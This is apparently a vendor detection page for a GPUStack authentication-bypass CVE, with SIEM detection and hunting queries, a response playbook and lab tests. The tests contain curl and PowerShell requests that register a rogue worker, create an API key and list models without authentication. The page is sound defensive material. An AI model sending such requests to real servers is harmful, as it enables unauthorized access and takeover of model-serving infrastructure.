Skip to content
CVE-2026-102895

GPUStack Improper Authentication Exploitation (CVE-2026-102895)

Detects exploitation of CVE-2026-102895, a critical (CVSS 9.8) improper authentication vulnerability in GPUStack versions prior to 2.2.0. The flaw (CWE-287/CWE-290/CWE-346) allows attackers to bypass authentication and spoof identity against the GPUStack management/API server, gaining unauthorized access to model-serving infrastructure, worker registration, and administrative endpoints. This CVE is listed in the CISA Known Exploited Vulnerabilities catalog. Detection focuses on anomalous access to GPUStack API endpoints (model management, worker registration, token/API-key endpoints) from unauthenticated or forged sessions, successful requests lacking proper authentication state, and post-exploitation activity such as rogue worker enrollment or model deployment.

Vulnerability Intelligence

KEV — Known Exploited

What is CVE-2026-102895 GPUStack Improper Authentication Exploitation (CVE-2026-102895)?

GPUStack Improper Authentication Exploitation (CVE-2026-102895) (CVE-2026-102895) maps to the Initial Access and Privilege Escalation and Credential Access tactics — the adversary is trying to get into your network in MITRE ATT&CK.

This page provides production-ready detection logic for GPUStack Improper Authentication Exploitation (CVE-2026-102895), covering the data sources and telemetry it touches: IIS Logs, Reverse Proxy Logs, Web Server Logs. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Initial Access Privilege Escalation Credential Access
Microsoft Sentinel / Defender
kusto
// df00tech DF00-97704b4425 · https://df00tech.com/detections/CVE-2026-102895 · licence: https://df00tech.com/detections/licence
let gpustack_paths = dynamic(["/v1/models", "/v1/workers", "/v1-openai/", "/v1/model-instances", "/v1/api-keys", "/v1/users", "/v1/auth", "/v1/tokens"]);
let suspicious_status = dynamic([200, 201, 204]);
W3CIISLog
| where csUriStem has_any (gpustack_paths)
| extend AuthHeaderPresent = isnotempty(csAuthorization) or (csCookie has "access_token") or (csCookie has "session")
| where scStatus in (suspicious_status)
| where AuthHeaderPresent == false or csUsername == "-" or isempty(csUsername)
| where csMethod in ("POST", "PUT", "DELETE", "PATCH") or csUriStem has_any ("/v1/workers", "/v1/api-keys", "/v1/users")
| summarize RequestCount = count(), Methods = make_set(csMethod), Paths = make_set(csUriStem), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated) by cIP, Computer
| where RequestCount >= 1
| project FirstSeen, LastSeen, cIP, Computer, RequestCount, Methods, Paths
| order by RequestCount desc

Identifies state-changing or sensitive GPUStack API requests that succeed without a valid authentication header, cookie, or authenticated username — the signature of the CVE-2026-102895 auth bypass. Also flags rogue worker/api-key/user creation from unauthenticated sources.

critical severity medium confidence

Data Sources

IIS Logs Reverse Proxy Logs Web Server Logs

Required Tables

W3CIISLog

False Positives

  • Internal health-check or monitoring probes hitting GPUStack read endpoints without auth tokens
  • Load balancers or API gateways that strip the Authorization header before logging at the origin
  • Legitimate anonymous access to GPUStack endpoints intentionally left public in a lab/dev deployment

Query fingerprint DF00-97704b4425 · licence

Sigma logsource & community rules

The detection logic for GPUStack Improper Authentication Exploitation (CVE-2026-102895) (CVE-2026-102895) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: network_connection
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Unauthenticated GPUStack worker registration attempt

    Expected signal: Web/proxy access log entry for POST /v1/workers with a 2xx status and no Authorization header.

  2. Test 2 Unauthenticated GPUStack API key creation

    Expected signal: POST /v1/api-keys returning 200/201 with no auth context in the logs.

  3. Test 3 Unauthenticated GPUStack model listing enumeration

    Expected signal: GET /v1/models returning 200 without an Authorization header.


Response Playbook

Triage

  1. Confirm the GPUStack server version via `/v1/version` or the deployment manifest; any version < 2.2.0 is vulnerable to CVE-2026-102895.
  2. Review the flagged requests and determine whether state-changing endpoints (/v1/workers, /v1/api-keys, /v1/users, /v1/model-instances) returned 2xx without a valid authentication header or session.
  3. Correlate the source IP against known-good administrators, CI/CD systems, and internal monitoring; geolocate and check threat-intel reputation for external IPs.
  4. Enumerate any API keys, users, or workers created or modified in the time window around the suspicious requests.

Containment

  1. Immediately restrict network access to the GPUStack management/API port (default 80/443/10150) to trusted admin networks via firewall or security group.
  2. Upgrade GPUStack to version 2.2.0 or later, which contains the authentication fix (commit 53f42a6).
  3. Revoke and rotate all GPUStack API keys and force re-authentication of all users and workers.
  4. Deregister and quarantine any worker nodes that were enrolled without authorization.

Evidence Collection

  1. Preserve GPUStack server application logs, the reverse-proxy/web-server access logs, and systemd/journal logs covering the exposure window.
  2. Export the GPUStack database (users, api_keys, workers, model_instances tables) to capture attacker-created objects before remediation.
  3. Capture the full HTTP request/response pairs (including headers) for the flagged unauthenticated requests for forensic review.

Escalation Criteria

  • ! Escalate to incident response if any worker, API key, or admin user was created from an untrusted or external source IP.
  • ! Escalate if model instances were deployed or modified, as this may indicate model poisoning or use of GPU resources for unauthorized workloads.
  • ! Escalate immediately if the GPUStack instance is internet-exposed, given the CVE is in the CISA KEV catalog and under active exploitation.

Investigation Guide

Forensic Artifacts

  • > GPUStack database rows in users/api_keys/workers created or modified during the exposure window
  • > Reverse-proxy and application access logs showing 2xx responses to sensitive endpoints without auth
  • > Newly enrolled worker node registrations and their reported hostnames/IPs
  • > GPUStack server configuration and version metadata confirming pre-2.2.0 build

Tuning Guidance

Baseline the set of source IPs that legitimately administer GPUStack (admin workstations, CI/CD, monitoring) and exclude them. If an upstream proxy strips the Authorization header before origin logging, instead correlate on the GPUStack application-level audit log where the authenticated principal is recorded. Narrow to state-changing methods and sensitive endpoints to reduce noise from benign anonymous reads, and raise severity when the source IP is external.


Hunting Queries

Hunts for successful creation/modification of GPUStack API keys, users, or workers without an authenticated user — a strong indicator of CVE-2026-102895 abuse.

Hunting — KQL
kql
// df00tech DF00-97704b4425 · https://df00tech.com/detections/CVE-2026-102895 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem has_any ("/v1/api-keys", "/v1/users", "/v1/workers") and csMethod in ("POST","PUT","DELETE") and scStatus in (200,201,204) | where isempty(csUsername) or csUsername == "-" | project TimeGenerated, cIP, csMethod, csUriStem, scStatus
Hunting — SPL
spl
``` df00tech DF00-97704b4425 · https://df00tech.com/detections/CVE-2026-102895 · licence: https://df00tech.com/detections/licence ```
index=web (uri_path="/v1/api-keys*" OR uri_path="/v1/users*" OR uri_path="/v1/workers*") method IN (POST,PUT,DELETE) status>=200 status<300 | search NOT authorization=* | table _time src_ip method uri_path status

Atomic Red Team Tests

Test 1 Unauthenticated GPUStack worker registration attempt
linux

Simulates an attacker registering a rogue worker against the GPUStack API without authentication to test the CVE-2026-102895 bypass.

Command

bash
curl -s -o /dev/null -w "%{http_code}\n" -X POST http://gpustack.lab.local/v1/workers -H "Content-Type: application/json" -d '{"name":"rogue-worker","hostname":"attacker-host","ip":"10.13.37.66"}'

Cleanup

bash
curl -s -X DELETE http://gpustack.lab.local/v1/workers/rogue-worker || true

Expected Telemetry

Web/proxy access log entry for POST /v1/workers with a 2xx status and no Authorization header.

Expected Detection

KQL/SPL rules fire on successful state-changing GPUStack API call without authentication.

Test 2 Unauthenticated GPUStack API key creation
linux

Attempts to create a GPUStack API key without valid credentials, exercising the identity-spoofing aspect of the vulnerability.

Command

bash
curl -s -X POST http://gpustack.lab.local/v1/api-keys -H "Content-Type: application/json" -d '{"name":"attacker-key","expires_in":0}'

Cleanup

bash
curl -s -X DELETE 'http://gpustack.lab.local/v1/api-keys?name=attacker-key' || true

Expected Telemetry

POST /v1/api-keys returning 200/201 with no auth context in the logs.

Expected Detection

Hunting query for unauthenticated api-key creation matches.

Test 3 Unauthenticated GPUStack model listing enumeration
windows

Enumerates deployed models via the GPUStack API without authentication to confirm read-level access bypass.

Command

powershell
powershell -Command "try { $r = Invoke-WebRequest -Uri 'http://gpustack.lab.local/v1/models' -Method GET -UseBasicParsing; Write-Output $r.StatusCode } catch { Write-Output $_.Exception.Response.StatusCode.value__ }"

Cleanup

powershell
echo no cleanup required

Expected Telemetry

GET /v1/models returning 200 without an Authorization header.

Expected Detection

GPUStack unauthenticated access detection logs the anomalous read for correlation.

Related Detections

Blog posts about this detection

Browse by tactic

Full ATT&CK matrix Search all detections